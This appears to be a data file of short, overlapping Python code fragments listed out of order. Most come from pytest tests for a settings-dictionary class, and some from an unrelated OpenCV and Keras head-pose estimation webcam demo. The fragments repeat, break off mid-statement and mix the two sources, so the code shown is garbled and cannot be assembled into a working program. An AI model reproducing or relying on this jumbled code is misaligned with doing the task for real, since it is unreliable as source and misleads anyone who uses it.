"settings.clear() settings.load(fallback_option=\"default settings\") assert settings[\"key1\"] == \"hello\" assert settings[\"key2\"] ==",
"pattern\"] == re.compile( r\"[\\w\\d.+-]+@[\\w\\d.-]+\\.[\\w\\d]+\" ) def test_init_without_keywords() -> None: with",
"assert settings[\"key1\"] == \"hello\" settings.update({\"key1\": \"a\"}) assert settings[\"key1\"] == \"a\"",
"settings[\"key1\"] == \"hello\" settings.update({\"key1\": \"a\"}) assert settings[\"key1\"] == \"a\" settings.update({\"key2\":",
"== \"value3\" del settings[\"key3\"] assert settings[\"key3\"] == \"value3\" settings.reset(\"key3\") assert",
"assert settings._Settings__is_using_json() settings.settings_file_path = \"sample_settings_file_name.yaml\" assert not settings._Settings__is_using_json() def test_load_from_dict()",
"-> None: settings = Settings( settings_file_path=\"C:/Users/chris/Documents/sample_settings_file_name.json\", default_factories={ \"key1\": lambda: \"value1\",",
"Settings( settings_file_path=\"sample_settings_file_name.json\", data={ \"key1\": \"hello\", \"key2\": \"world\", }, ) assert",
"== Coords(x_and_y=(3, 4)) assert settings[\"patterns\"][\"phone number pattern\"] == re.compile( r\"\\d{3}-?\\d{3}-?\\d{4}\"",
"Settings( settings_file_path=\"sample_settings_file_name.json\", default_factories={ \"key1\": lambda: \"value1\", }, data={ \"key1\": \"hello\",",
"import re from typing import Any, Tuple from dataclasses import",
"None: self.x = x_and_y[0] self.y = x_and_y[1] settings = Settings(",
"\"key3\": \"value3\", \"key4\": { \"key5\": \"value5\", }, } def test_creating_setting_after_init()",
"), }, data={ \"key1\": \"hello\", \"key2\": \"world\", \"key3\": \"value3\", \"key4\":",
"assert settings[\"key2\"] == \"b\" assert settings[\"key3\"] == \"value3\" assert settings[\"key4\"]",
"\"d\" def test_dump_to_dict() -> None: settings = Settings( settings_file_path=\"sample_settings_file_name.json\", data={",
"r\"[\\w\\d.+-]+@[\\w\\d.-]+\\.[\\w\\d]+\" ) settings.load_from_dict(settings_dict) assert settings[\"location 1\"] == Coords(x_and_y=(1, 2)) assert",
"= Settings( settings_file_path=\"sample_settings_file_name.json\", default_factories={ \"key1\": lambda: \"value1\", }, data={ \"key1\":",
") assert settings.dump_to_dict() == { \"key1\": \"hello\", \"key2\": \"world\", }",
"\"key1\": \"hello\", \"key2\": \"world\", \"key3\": \"value3\", \"key4\": { \"key5\": \"value5\",",
"settings[\"key3\"] == [] def test_load_without_file() -> None: def sample_prompt_function(settings: Settings)",
"app_settings_dict import Settings def test_simple_settings() -> None: settings = Settings(",
") assert settings[\"key1\"] == \"hello\" assert settings[\"key2\"] == \"world\" del",
"\"key1\": sample_prompt_function, \"key2\": lambda: \"value2\", \"key3\": lambda: \"value3\", }, default_settings={",
"<filename>tests/test_app_settings_dict.py<gh_stars>0 import pytest import re from typing import Any, Tuple",
"settings[\"key1\"] == \"value1\" with pytest.raises(KeyError): settings[\"key2\"] def test_default_settings() -> None:",
"settings.load(fallback_option=\"invalid option\") def test_load_after_empty() -> None: settings = Settings( settings_file_path=\"sample",
"settings.load(fallback_option=\"prompt user\") def test_nested_setting_loaders_and_dumpers() -> None: @dataclass class Coords: x:",
"settings[\"patterns\"][\"phone number pattern\"] == re.compile( r\"\\d{3}-?\\d{3}-?\\d{4}\" ) assert settings[\"patterns\"][\"email address",
"prompt_user_for_all_settings=sample_prompt_function, default_factories={ \"key1\": lambda: \"value1\", \"key2\": lambda: \"value2\", \"key3\": lambda:",
"import Settings def test_simple_settings() -> None: settings = Settings( settings_file_path=\"C:/Users/chris/Documents/sample_settings_file_name.json\",",
"\"key3\": [], \"key4\": \"value4\", }, data={ \"key1\": \"hello\", \"key2\": \"world\",",
"settings file name.json\", default_factories={ \"key1\": lambda: \"value1\", \"key2\": lambda: \"value2\",",
"re.compile( r\"[\\w\\d.+-]+@[\\w\\d.-]+\\.[\\w\\d]+\" ), }, ), }, ) settings_dict = settings.dump_to_dict()",
"assert settings_dict[\"location 2\"] == (3, 4) assert settings_dict[\"patterns\"][\"phone number pattern\"]",
"\"key1\": \"hello\", \"key2\": \"world\", }, ) assert settings.dump_to_dict() == {",
"\"a\", \"key2\": \"b\"}) settings = Settings( settings_file_path=\"not a real file.yaml\",",
"\"b\" assert settings[\"key3\"] == \"value3\" assert settings[\"key4\"] == \"value4\" settings.clear()",
"== \"a\" settings.update({\"key2\": \"b\"}) assert settings[\"key2\"] == \"b\" def test_Settings__is_using_json()",
"with pytest.raises(ValueError): settings.load(fallback_option=\"prompt user\") def test_nested_setting_loaders_and_dumpers() -> None: @dataclass class",
"settings.data[\"key2\"] == \"d\" def test_dump_to_dict() -> None: settings = Settings(",
"\"hello\" assert settings[\"key2\"] == \"world\" assert settings[\"key3\"] == [] def",
"def test_load_without_file() -> None: def sample_prompt_function(settings: Settings) -> Settings: #",
"settings[\"key1\"] == \"hello\" assert settings[\"key2\"] == \"world\" del settings[\"key1\"] del",
"\"hello\", }, ) assert settings[\"key1\"] == \"hello\" settings.load(fallback_option=\"default settings\") assert",
"\"value3\", \"key4\": { \"key5\": \"value5\", }, } def test_creating_setting_after_init() ->",
"def test_nested_Settings() -> None: settings = Settings( settings_file_path=\"sample_settings_file_name.json\", default_settings={ \"key6\":",
"assert settings[\"key3\"] == \"value3\" with pytest.raises(KeyError): settings[\"key4\"] settings.load(fallback_option=\"default settings\") assert",
"== re.compile( r\"[\\w\\d.+-]+@[\\w\\d.-]+\\.[\\w\\d]+\" ) def test_init_without_keywords() -> None: with pytest.raises(TypeError):",
"[], }, data={ \"key1\": \"hello\", }, ) assert settings[\"key1\"] ==",
"settings: \") return settings.update({\"key1\": \"a\", \"key2\": \"b\"}) settings = Settings(",
"== \"value4\" with pytest.raises(ValueError): settings.load(fallback_option=\"invalid option\") def test_load_after_empty() -> None:",
"\"hello\" assert settings[\"key2\"] == \"world\" del settings[\"key1\"] del settings[\"key2\"] assert",
"= \"sample_settings_file_name.yaml\" assert not settings._Settings__is_using_json() def test_load_from_dict() -> None: settings",
"r\"\\d{3}-?\\d{3}-?\\d{4}\" ) assert settings[\"patterns\"][\"email address pattern\"] == re.compile( r\"[\\w\\d.+-]+@[\\w\\d.-]+\\.[\\w\\d]+\" )",
"Coords(x_and_y=(1, 2)) assert settings[\"location 2\"] == Coords(x_and_y=(3, 4)) assert settings[\"patterns\"][\"phone",
"def test_prompt() -> None: def sample_prompt_function() -> Any: # s",
"settings_file_path=\"nonexistent file.json\", default_settings={ \"key1\": [], \"key2\": \"value2\", }, ) with",
"pytest import re from typing import Any, Tuple from dataclasses",
"settings = Settings( settings_file_path=\"C:/Users/chris/Documents/sample_settings_file_name.json\", default_factories={ \"key1\": lambda: \"value1\", }, data={",
"settings[\"location 1\"] == Coords(x_and_y=(1, 2)) assert settings[\"location 2\"] == Coords(x_and_y=(3,",
"test_load_from_dict() -> None: settings = Settings() settings.load_from_dict( { \"key1\": \"hello\",",
"\"key1\": \"hello\", \"key2\": \"world\", }, ) assert settings[\"key1\"] == \"hello\"",
"}, default_settings={ \"key3\": [], \"key4\": \"value4\", }, data={ \"key1\": \"hello\",",
"Coords(x_and_y=(3, 4)) assert settings[\"patterns\"][\"phone number pattern\"] == re.compile( r\"\\d{3}-?\\d{3}-?\\d{4}\" )",
"\"key1\": lambda: \"value1\", }, data={ \"key1\": \"hello\", \"key2\": \"world\", },",
"the settings: \") return settings.update({\"key1\": \"a\", \"key2\": \"b\"}) settings =",
"settings[\"key2\"] def test_default_settings() -> None: settings = Settings( settings_file_path=\"sample settings",
"# s = input(\"Enter the settings: \") return settings.update({\"key1\": \"a\",",
"default_settings={ \"key1\": [], \"key2\": \"value2\", }, ) with pytest.raises(KeyError): settings[\"key3\"]",
"}, data={ \"key1\": \"hello\", \"key2\": \"world\", \"key3\": \"value3\", \"key4\": Settings(",
"settings = Settings() settings.load_from_dict( { \"key1\": \"hello\", \"key2\": \"world\", }",
"/ 0, default_factories={ \"key1\": lambda: \"value1\", }, default_settings={ \"key1\": [],",
"= Settings( settings_file_path=\"sample settings file name.json\", default_factories={ \"key1\": lambda: \"value1\",",
"== \"world\" assert settings[\"key3\"] == \"value3\" del settings[\"key3\"] assert settings[\"key3\"]",
"settings.update({\"key2\": \"b\"}) assert settings[\"key2\"] == \"b\" def test_Settings__is_using_json() -> None:",
"== \"value1\" with pytest.raises(KeyError): settings[\"key2\"] def test_default_settings() -> None: settings",
"\"value3\" settings.load(fallback_option=\"prompt user\") assert settings[\"key1\"] == \"a\" assert settings[\"key2\"] ==",
"inner file though.yaml\", data={ \"key5\": \"value5\", }, ), }, )"
] |
[
"= -(yaw * np.pi / 180) roll = roll *",
"cv2.VideoCapture(0) # cap.set(cv2.CAP_PROP_FRAME_WIDTH, 1024*1) # cap.set(cv2.CAP_PROP_FRAME_HEIGHT, 768*1) while True: #",
"(300, 300), (104.0, 177.0, 123.0)) net.setInput(blob) detected = net.forward() faces",
"detected = net.forward() faces = np.empty((detected.shape[2], img_size, img_size, 3)) input_img",
"frame ret, input_img = cap.read() img_idx = img_idx + 1",
"face = face.squeeze() img = draw_axis(input_img[yw1:yw2 + 1, xw1:xw2 +",
"model = Model(inputs=inputs, outputs=avg_model) # load our serialized face detector",
"in blue x3 = size * (sin(yaw)) + tdx y3",
"model 3.') inputs = Input(shape=(64,64,3)) x1 = model1(inputs) #1x1 x2",
"sys.path.append('..') import numpy as np from math import cos, sin",
"os.path.sep.join([\"face_detector\", \"deploy.prototxt\"]) modelPath = os.path.sep.join([\"face_detector\", \"res10_300x300_ssd_iter_140000.caffemodel\"]) net = cv2.dnn.readNetFromCaffe(protoPath, modelPath)",
"# cap.set(cv2.CAP_PROP_FRAME_WIDTH, 1024*1) # cap.set(cv2.CAP_PROP_FRAME_HEIGHT, 768*1) while True: # get",
"tdx = width / 2 tdy = height / 2",
"xw1 = max(int(x1 - ad * w), 0) yw1 =",
"* w), img_w - 1) yw2 = min(int(y2 + ad",
"net.setInput(blob) detected = net.forward() faces = np.empty((detected.shape[2], img_size, img_size, 3))",
"= os.path.sep.join([\"face_detector\", \"res10_300x300_ssd_iter_140000.caffemodel\"]) net = cv2.dnn.readNetFromCaffe(protoPath, modelPath) # capture video",
"!= None: tdx = tdx tdy = tdy else: height,",
"= y1+h xw1 = max(int(x1 - ad * w), 0)",
"tdy cv2.line(img, (int(tdx), int(tdy)), (int(x1),int(y1)),(0,0,255),3) cv2.line(img, (int(tdx), int(tdy)), (int(x2),int(y2)),(0,255,0),3) cv2.line(img,",
"endX, endY) = box.astype(\"int\") # print((startX, startY, endX, endY)) x1",
"img_w - 1) yw2 = min(int(y2 + ad * h),",
"int(tdy)), (int(x3),int(y3)),(255,0,0),2) return img def draw_results_ssd(detected,input_img,faces,ad,img_size,img_w,img_h,model): # loop over the",
"of the screen) drawn in blue x3 = size *",
"loading model 2.') model3.load_weights(weight_file3) print('Finished loading model 3.') inputs =",
"* (sin(yaw)) + tdx y3 = size * (-cos(yaw) *",
"+ ad * h), img_h - 1) cv2.rectangle(input_img, (xw1,yw1), (xw2,yw2),",
"(x, y)-coordinates of the bounding box for # the face",
"= FSA_net_Capsule(image_size, num_classes, stage_num, lambda_d, S_set)() model2 = FSA_net_Var_Capsule(image_size, num_classes,",
"= tdx tdy = tdy else: height, width = img.shape[:2]",
"model 2.') model3.load_weights(weight_file3) print('Finished loading model 3.') inputs = Input(shape=(64,64,3))",
"(int(tdx), int(tdy)), (int(x3),int(y3)),(255,0,0),2) return img def draw_results_ssd(detected,input_img,faces,ad,img_size,img_w,img_h,model): # loop over",
"m_dim] model1 = FSA_net_Capsule(image_size, num_classes, stage_num, lambda_d, S_set)() model2 =",
"x2 = size * (-cos(yaw) * sin(roll)) + tdx y2",
"(int(x1),int(y1)),(0,0,255),3) cv2.line(img, (int(tdx), int(tdy)), (int(x2),int(y2)),(0,255,0),3) cv2.line(img, (int(tdx), int(tdy)), (int(x3),int(y3)),(255,0,0),2) return",
"y)-coordinates of the bounding box for # the face and",
"= FSA_net_noS_Capsule(image_size, num_classes, stage_num, lambda_d, S_set)() weight_file1 = '../pre-trained/300W_LP_models/fsanet_capsule_3_16_2_21_5/fsanet_capsule_3_16_2_21_5.h5' model1.load_weights(weight_file1)",
"[3,3,3] lambda_d = 1 num_classes = 3 image_size = 64",
"+ ad * w), img_w - 1) yw2 = min(int(y2",
"model3.load_weights(weight_file3) print('Finished loading model 3.') inputs = Input(shape=(64,64,3)) x1 =",
"X-Axis pointing to right. drawn in red x1 = size",
"[num_capsule, dim_capsule, routings, num_primcaps, m_dim] model1 = FSA_net_Capsule(image_size, num_classes, stage_num,",
"net = cv2.dnn.readNetFromCaffe(protoPath, modelPath) # capture video cap = cv2.VideoCapture(0)",
"our serialized face detector from disk print(\"[INFO] loading face detector...\")",
"w0) = input_img.shape[:2] box = detected[0, 0, i, 3:7] *",
"= size * (cos(pitch) * sin(roll) + cos(roll) * sin(pitch)",
"cap.read() img_idx = img_idx + 1 img_h, img_w, _ =",
"(cos(yaw) * cos(roll)) + tdx y1 = size * (cos(pitch)",
"img def draw_results_ssd(detected,input_img,faces,ad,img_size,img_w,img_h,model): # loop over the detections if detected.shape[2]>0:",
"- sin(pitch) * sin(yaw) * sin(roll)) + tdy # Z-Axis",
"over the detections if detected.shape[2]>0: for i in range(0, detected.shape[2]):",
"box.astype(\"int\") # print((startX, startY, endX, endY)) x1 = startX y1",
"video frame ret, input_img = cap.read() img_idx = img_idx +",
"import cos, sin from lib.FSANET_model import * import numpy as",
"5 S_set = [num_capsule, dim_capsule, routings, num_primcaps, m_dim] model1 =",
"face detector...\") protoPath = os.path.sep.join([\"face_detector\", \"deploy.prototxt\"]) modelPath = os.path.sep.join([\"face_detector\", \"res10_300x300_ssd_iter_140000.caffemodel\"])",
"cv2.dnn.readNetFromCaffe(protoPath, modelPath) # capture video cap = cv2.VideoCapture(0) # cap.set(cv2.CAP_PROP_FRAME_WIDTH,",
"np.pi / 180 yaw = -(yaw * np.pi / 180)",
"yaw, pitch, roll, tdx=None, tdy=None, size = 50): print(yaw,roll,pitch) pitch",
"width = img.shape[:2] tdx = width / 2 tdy =",
"detections if detected.shape[2]>0: for i in range(0, detected.shape[2]): # extract",
"cv2.line(img, (int(tdx), int(tdy)), (int(x1),int(y1)),(0,0,255),3) cv2.line(img, (int(tdx), int(tdy)), (int(x2),int(y2)),(0,255,0),3) cv2.line(img, (int(tdx),",
"i, 2] # filter out weak detections if confidence >",
"(int(x3),int(y3)),(255,0,0),2) return img def draw_results_ssd(detected,input_img,faces,ad,img_size,img_w,img_h,model): # loop over the detections",
"# cv2.imwrite('img/'+str(img_idx)+'.png',input_img) cv2.imshow(\"result\", input_img) key = cv2.waitKey(1) if __name__ ==",
"+ tdy # Y-Axis | drawn in green # v",
"(xw1,yw1), (xw2,yw2), (0, 0, 255), 2) start=time.time() faces[i,:,:,:] = cv2.resize(input_img[yw1:yw2",
"(sin(yaw)) + tdx y3 = size * (-cos(yaw) * sin(pitch))",
"- ad * w), 0) yw1 = max(int(y1 - ad",
"1 num_classes = 3 image_size = 64 num_primcaps = 7*3",
"weight_file3 = '../pre-trained/300W_LP_models/fsanet_noS_capsule_3_16_2_192_5/fsanet_noS_capsule_3_16_2_192_5.h5' model2.load_weights(weight_file2) print('Finished loading model 2.') model3.load_weights(weight_file3) print('Finished",
"startX y1 = startY w = endX - startX h",
"roll, tdx=None, tdy=None, size = 50): print(yaw,roll,pitch) pitch = pitch",
"2] # filter out weak detections if confidence > 0.5:",
"input_img def main(): os.makedirs('./img',exist_ok=True) img_size = 64 img_idx = 0",
"* (cos(yaw) * cos(roll)) + tdx y1 = size *",
"sin from lib.FSANET_model import * import numpy as np from",
"the bounding box for # the face and extract the",
"stage_num, lambda_d, S_set)() weight_file1 = '../pre-trained/300W_LP_models/fsanet_capsule_3_16_2_21_5/fsanet_capsule_3_16_2_21_5.h5' model1.load_weights(weight_file1) print('Finished loading model",
"* import numpy as np from keras.layers import Average def",
"image_size = 64 num_primcaps = 7*3 m_dim = 5 S_set",
"cap.set(cv2.CAP_PROP_FRAME_HEIGHT, 768*1) while True: # get video frame ret, input_img",
"= width / 2 tdy = height / 2 #",
"= size * (cos(yaw) * cos(roll)) + tdx y1 =",
"_ = np.shape(input_img) blob = cv2.dnn.blobFromImage(cv2.resize(input_img, (300, 300)), 1.0, (300,",
"print(yaw,roll,pitch) pitch = pitch * np.pi / 180 yaw =",
"= detected[0, 0, i, 2] # filter out weak detections",
"np.pi / 180 if tdx != None and tdy !=",
"'../pre-trained/300W_LP_models/fsanet_capsule_3_16_2_21_5/fsanet_capsule_3_16_2_21_5.h5' model1.load_weights(weight_file1) print('Finished loading model 1.') weight_file2 = '../pre-trained/300W_LP_models/fsanet_var_capsule_3_16_2_21_5/fsanet_var_capsule_3_16_2_21_5.h5' weight_file3",
"num_classes, stage_num, lambda_d, S_set)() weight_file1 = '../pre-trained/300W_LP_models/fsanet_capsule_3_16_2_21_5/fsanet_capsule_3_16_2_21_5.h5' model1.load_weights(weight_file1) print('Finished loading",
"ad = 0.6 #Parameters num_capsule = 3 dim_capsule = 16",
"x2 = model2(inputs) #var x3 = model3(inputs) #w/o avg_model =",
"sin(roll)) + tdy # Z-Axis (out of the screen) drawn",
"input_img[yw1:yw2 + 1, xw1:xw2 + 1, :] = img return",
"1024*1) # cap.set(cv2.CAP_PROP_FRAME_HEIGHT, 768*1) while True: # get video frame",
"= size * (cos(pitch) * cos(roll) - sin(pitch) * sin(yaw)",
"768*1) while True: # get video frame ret, input_img =",
"0, i, 3:7] * np.array([w0, h0, w0, h0]) (startX, startY,",
"np from math import cos, sin from lib.FSANET_model import *",
"* cos(roll) - sin(pitch) * sin(yaw) * sin(roll)) + tdy",
"weight_file2 = '../pre-trained/300W_LP_models/fsanet_var_capsule_3_16_2_21_5/fsanet_var_capsule_3_16_2_21_5.h5' weight_file3 = '../pre-trained/300W_LP_models/fsanet_noS_capsule_3_16_2_192_5/fsanet_noS_capsule_3_16_2_192_5.h5' model2.load_weights(weight_file2) print('Finished loading model",
"cos(roll) * sin(pitch) * sin(yaw)) + tdy # Y-Axis |",
"sin(yaw)) + tdy # Y-Axis | drawn in green #",
"extract the confidence (i.e., probability) associated with the # prediction",
"= cv2.dnn.readNetFromCaffe(protoPath, modelPath) # capture video cap = cv2.VideoCapture(0) #",
"/ 180) roll = roll * np.pi / 180 if",
"img_size)) faces[i,:,:,:] = cv2.normalize(faces[i,:,:,:], None, alpha=0, beta=255, norm_type=cv2.NORM_MINMAX) face =",
"= 3 image_size = 64 num_primcaps = 7*3 m_dim =",
"lib.FSANET_model import * import numpy as np from keras.layers import",
"cv2.dnn.blobFromImage(cv2.resize(input_img, (300, 300)), 1.0, (300, 300), (104.0, 177.0, 123.0)) net.setInput(blob)",
"prediction confidence = detected[0, 0, i, 2] # filter out",
"model3(inputs) #w/o avg_model = Average()([x1,x2,x3]) model = Model(inputs=inputs, outputs=avg_model) #",
"3 dim_capsule = 16 routings = 2 stage_num = [3,3,3]",
"= model3(inputs) #w/o avg_model = Average()([x1,x2,x3]) model = Model(inputs=inputs, outputs=avg_model)",
"300), (104.0, 177.0, 123.0)) net.setInput(blob) detected = net.forward() faces =",
"(cos(pitch) * sin(roll) + cos(roll) * sin(pitch) * sin(yaw)) +",
"blob = cv2.dnn.blobFromImage(cv2.resize(input_img, (300, 300)), 1.0, (300, 300), (104.0, 177.0,",
"* sin(yaw)) + tdy # Y-Axis | drawn in green",
"confidence > 0.5: # compute the (x, y)-coordinates of the",
"pitch * np.pi / 180 yaw = -(yaw * np.pi",
"beta=255, norm_type=cv2.NORM_MINMAX) face = np.expand_dims(faces[i,:,:,:], axis=0) p_result = model.predict(face) print('fangxiang',time.time()-start)",
"64 num_primcaps = 7*3 m_dim = 5 S_set = [num_capsule,",
"import cv2 import sys sys.path.append('..') import numpy as np from",
"= '../pre-trained/300W_LP_models/fsanet_noS_capsule_3_16_2_192_5/fsanet_noS_capsule_3_16_2_192_5.h5' model2.load_weights(weight_file2) print('Finished loading model 2.') model3.load_weights(weight_file3) print('Finished loading",
"bounding box for # the face and extract the face",
"= model1(inputs) #1x1 x2 = model2(inputs) #var x3 = model3(inputs)",
"S_set)() model2 = FSA_net_Var_Capsule(image_size, num_classes, stage_num, lambda_d, S_set)() num_primcaps =",
"w), 0) yw1 = max(int(y1 - ad * h), 0)",
"np from keras.layers import Average def draw_axis(img, yaw, pitch, roll,",
"disk print(\"[INFO] loading face detector...\") protoPath = os.path.sep.join([\"face_detector\", \"deploy.prototxt\"]) modelPath",
"draw_results_ssd(detected,input_img,faces,ad,img_size,img_w,img_h,model): # loop over the detections if detected.shape[2]>0: for i",
"123.0)) net.setInput(blob) detected = net.forward() faces = np.empty((detected.shape[2], img_size, img_size,",
"num_primcaps = 7*3 m_dim = 5 S_set = [num_capsule, dim_capsule,",
"model2 = FSA_net_Var_Capsule(image_size, num_classes, stage_num, lambda_d, S_set)() num_primcaps = 8*8*3",
"| drawn in green # v x2 = size *",
"- startX h = endY - startY x2 = x1+w",
"= draw_axis(input_img[yw1:yw2 + 1, xw1:xw2 + 1, :], p_result[0][0], p_result[0][1],",
"size * (cos(yaw) * cos(roll)) + tdx y1 = size",
"(cos(pitch) * cos(roll) - sin(pitch) * sin(yaw) * sin(roll)) +",
"(0, 0, 255), 2) start=time.time() faces[i,:,:,:] = cv2.resize(input_img[yw1:yw2 + 1,",
"outputs=avg_model) # load our serialized face detector from disk print(\"[INFO]",
"if confidence > 0.5: # compute the (x, y)-coordinates of",
"tdx y1 = size * (cos(pitch) * sin(roll) + cos(roll)",
"= img return input_img def main(): os.makedirs('./img',exist_ok=True) img_size = 64",
"x1+w y2 = y1+h xw1 = max(int(x1 - ad *",
"(img_size, img_size)) faces[i,:,:,:] = cv2.normalize(faces[i,:,:,:], None, alpha=0, beta=255, norm_type=cv2.NORM_MINMAX) face",
"model2.load_weights(weight_file2) print('Finished loading model 2.') model3.load_weights(weight_file3) print('Finished loading model 3.')",
"return img def draw_results_ssd(detected,input_img,faces,ad,img_size,img_w,img_h,model): # loop over the detections if",
"import numpy as np from keras.layers import Average def draw_axis(img,",
"= 3 dim_capsule = 16 routings = 2 stage_num =",
"Average()([x1,x2,x3]) model = Model(inputs=inputs, outputs=avg_model) # load our serialized face",
"\"res10_300x300_ssd_iter_140000.caffemodel\"]) net = cv2.dnn.readNetFromCaffe(protoPath, modelPath) # capture video cap =",
"num_primcaps, m_dim] model1 = FSA_net_Capsule(image_size, num_classes, stage_num, lambda_d, S_set)() model2",
"of the bounding box for # the face and extract",
"#var x3 = model3(inputs) #w/o avg_model = Average()([x1,x2,x3]) model =",
"p_result[0][0], p_result[0][1], p_result[0][2]) input_img[yw1:yw2 + 1, xw1:xw2 + 1, :]",
"endY) = box.astype(\"int\") # print((startX, startY, endX, endY)) x1 =",
"face ROI (h0, w0) = input_img.shape[:2] box = detected[0, 0,",
"associated with the # prediction confidence = detected[0, 0, i,",
"tdy != None: tdx = tdx tdy = tdy else:",
"detected[0, 0, i, 2] # filter out weak detections if",
"faces = np.empty((detected.shape[2], img_size, img_size, 3)) input_img = draw_results_ssd(detected,input_img,faces,ad,img_size,img_w,img_h,model) #",
"faces[i,:,:,:] = cv2.resize(input_img[yw1:yw2 + 1, xw1:xw2 + 1, :], (img_size,",
"None and tdy != None: tdx = tdx tdy =",
"cv2.imshow(\"result\", input_img) key = cv2.waitKey(1) if __name__ == '__main__': main()",
"serialized face detector from disk print(\"[INFO] loading face detector...\") protoPath",
"= Model(inputs=inputs, outputs=avg_model) # load our serialized face detector from",
"pitch, roll, tdx=None, tdy=None, size = 50): print(yaw,roll,pitch) pitch =",
"and tdy != None: tdx = tdx tdy = tdy",
"(int(tdx), int(tdy)), (int(x2),int(y2)),(0,255,0),3) cv2.line(img, (int(tdx), int(tdy)), (int(x3),int(y3)),(255,0,0),2) return img def",
"3)) input_img = draw_results_ssd(detected,input_img,faces,ad,img_size,img_w,img_h,model) # cv2.imwrite('img/'+str(img_idx)+'.png',input_img) cv2.imshow(\"result\", input_img) key =",
"lambda_d = 1 num_classes = 3 image_size = 64 num_primcaps",
"avg_model = Average()([x1,x2,x3]) model = Model(inputs=inputs, outputs=avg_model) # load our",
"the confidence (i.e., probability) associated with the # prediction confidence",
"= 8*8*3 S_set = [num_capsule, dim_capsule, routings, num_primcaps, m_dim] model3",
"tdx tdy = tdy else: height, width = img.shape[:2] tdx",
"cos(roll)) + tdx y1 = size * (cos(pitch) * sin(roll)",
"main(): os.makedirs('./img',exist_ok=True) img_size = 64 img_idx = 0 ad =",
"* sin(roll) + cos(roll) * sin(pitch) * sin(yaw)) + tdy",
"0) yw1 = max(int(y1 - ad * h), 0) xw2",
"face detector from disk print(\"[INFO] loading face detector...\") protoPath =",
"y2 = size * (cos(pitch) * cos(roll) - sin(pitch) *",
"50): print(yaw,roll,pitch) pitch = pitch * np.pi / 180 yaw",
"cv2.line(img, (int(tdx), int(tdy)), (int(x2),int(y2)),(0,255,0),3) cv2.line(img, (int(tdx), int(tdy)), (int(x3),int(y3)),(255,0,0),2) return img",
"x3 = size * (sin(yaw)) + tdx y3 = size",
"= draw_results_ssd(detected,input_img,faces,ad,img_size,img_w,img_h,model) # cv2.imwrite('img/'+str(img_idx)+'.png',input_img) cv2.imshow(\"result\", input_img) key = cv2.waitKey(1) if",
"ad * h), 0) xw2 = min(int(x2 + ad *",
"cos(roll) - sin(pitch) * sin(yaw) * sin(roll)) + tdy #",
"ad * w), 0) yw1 = max(int(y1 - ad *",
"drawn in blue x3 = size * (sin(yaw)) + tdx",
"= 16 routings = 2 stage_num = [3,3,3] lambda_d =",
"np.pi / 180) roll = roll * np.pi / 180",
"drawn in green # v x2 = size * (-cos(yaw)",
"= 5 S_set = [num_capsule, dim_capsule, routings, num_primcaps, m_dim] model1",
"detections if confidence > 0.5: # compute the (x, y)-coordinates",
"import os import time import cv2 import sys sys.path.append('..') import",
"+ 1, :], p_result[0][0], p_result[0][1], p_result[0][2]) input_img[yw1:yw2 + 1, xw1:xw2",
"extract the face ROI (h0, w0) = input_img.shape[:2] box =",
"S_set = [num_capsule, dim_capsule, routings, num_primcaps, m_dim] model3 = FSA_net_noS_Capsule(image_size,",
"* (cos(pitch) * sin(roll) + cos(roll) * sin(pitch) * sin(yaw))",
"= '../pre-trained/300W_LP_models/fsanet_var_capsule_3_16_2_21_5/fsanet_var_capsule_3_16_2_21_5.h5' weight_file3 = '../pre-trained/300W_LP_models/fsanet_noS_capsule_3_16_2_192_5/fsanet_noS_capsule_3_16_2_192_5.h5' model2.load_weights(weight_file2) print('Finished loading model 2.')",
"= size * (-cos(yaw) * sin(pitch)) + tdy cv2.line(img, (int(tdx),",
"+ 1 img_h, img_w, _ = np.shape(input_img) blob = cv2.dnn.blobFromImage(cv2.resize(input_img,",
"* cos(roll)) + tdx y1 = size * (cos(pitch) *",
"size * (sin(yaw)) + tdx y3 = size * (-cos(yaw)",
"= 64 img_idx = 0 ad = 0.6 #Parameters num_capsule",
"max(int(y1 - ad * h), 0) xw2 = min(int(x2 +",
"probability) associated with the # prediction confidence = detected[0, 0,",
"= size * (sin(yaw)) + tdx y3 = size *",
"model.predict(face) print('fangxiang',time.time()-start) face = face.squeeze() img = draw_axis(input_img[yw1:yw2 + 1,",
"180) roll = roll * np.pi / 180 if tdx",
"= input_img.shape[:2] box = detected[0, 0, i, 3:7] * np.array([w0,",
"faces[i,:,:,:] = cv2.normalize(faces[i,:,:,:], None, alpha=0, beta=255, norm_type=cv2.NORM_MINMAX) face = np.expand_dims(faces[i,:,:,:],",
"0, 255), 2) start=time.time() faces[i,:,:,:] = cv2.resize(input_img[yw1:yw2 + 1, xw1:xw2",
"model 1.') weight_file2 = '../pre-trained/300W_LP_models/fsanet_var_capsule_3_16_2_21_5/fsanet_var_capsule_3_16_2_21_5.h5' weight_file3 = '../pre-trained/300W_LP_models/fsanet_noS_capsule_3_16_2_192_5/fsanet_noS_capsule_3_16_2_192_5.h5' model2.load_weights(weight_file2) print('Finished",
"stage_num, lambda_d, S_set)() model2 = FSA_net_Var_Capsule(image_size, num_classes, stage_num, lambda_d, S_set)()",
"0, i, 2] # filter out weak detections if confidence",
"'../pre-trained/300W_LP_models/fsanet_noS_capsule_3_16_2_192_5/fsanet_noS_capsule_3_16_2_192_5.h5' model2.load_weights(weight_file2) print('Finished loading model 2.') model3.load_weights(weight_file3) print('Finished loading model",
"tdy = height / 2 # X-Axis pointing to right.",
"dim_capsule, routings, num_primcaps, m_dim] model3 = FSA_net_noS_Capsule(image_size, num_classes, stage_num, lambda_d,",
"numpy as np from keras.layers import Average def draw_axis(img, yaw,",
"m_dim = 5 S_set = [num_capsule, dim_capsule, routings, num_primcaps, m_dim]",
"#Parameters num_capsule = 3 dim_capsule = 16 routings = 2",
"tdy else: height, width = img.shape[:2] tdx = width /",
"print('fangxiang',time.time()-start) face = face.squeeze() img = draw_axis(input_img[yw1:yw2 + 1, xw1:xw2",
"y1 = size * (cos(pitch) * sin(roll) + cos(roll) *",
"model1(inputs) #1x1 x2 = model2(inputs) #var x3 = model3(inputs) #w/o",
"yaw = -(yaw * np.pi / 180) roll = roll",
"# v x2 = size * (-cos(yaw) * sin(roll)) +",
"cv2 import sys sys.path.append('..') import numpy as np from math",
"+ 1, :] = img return input_img def main(): os.makedirs('./img',exist_ok=True)",
"= cv2.VideoCapture(0) # cap.set(cv2.CAP_PROP_FRAME_WIDTH, 1024*1) # cap.set(cv2.CAP_PROP_FRAME_HEIGHT, 768*1) while True:",
"+ 1, xw1:xw2 + 1, :], (img_size, img_size)) faces[i,:,:,:] =",
"0 ad = 0.6 #Parameters num_capsule = 3 dim_capsule =",
"face and extract the face ROI (h0, w0) = input_img.shape[:2]",
